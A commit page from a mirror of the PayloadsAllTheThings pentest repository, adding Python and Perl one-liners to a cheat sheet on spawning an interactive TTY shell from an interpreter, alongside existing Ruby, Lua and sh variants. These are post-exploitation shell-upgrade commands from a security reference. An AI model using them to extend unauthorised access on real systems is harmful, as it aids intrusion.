mirror of
https://github.com/swisskyrepo/PayloadsAllTheThings.git
synced 2025-01-31 07:27:25 +00:00
Merge pull request #156 from bhattsameer/patch-1
Added more TTY Shell using perl and python
This commit is contained in:
commit
b76a23c77f
@ -379,8 +379,11 @@ Spawn a TTY shell from an interpreter
|
|||||||
```powershell
|
```powershell
|
||||||
/bin/sh -i
|
/bin/sh -i
|
||||||
python3 -c 'import pty; pty.spawn("/bin/sh")'
|
python3 -c 'import pty; pty.spawn("/bin/sh")'
|
||||||
|
python3 -c "__import__('pty').spawn('/bin/bash')"
|
||||||
|
python3 -c "__import__('subprocess').call(['/bin/bash'])"
|
||||||
perl -e 'exec "/bin/sh";'
|
perl -e 'exec "/bin/sh";'
|
||||||
perl: exec "/bin/sh";
|
perl: exec "/bin/sh";
|
||||||
|
perl -e 'print `/bin/bash`'
|
||||||
ruby: exec "/bin/sh"
|
ruby: exec "/bin/sh"
|
||||||
lua: os.execute('/bin/sh')
|
lua: os.execute('/bin/sh')
|
||||||
```
|
```
|
||||||
|
Loading…
Reference in New Issue
Block a user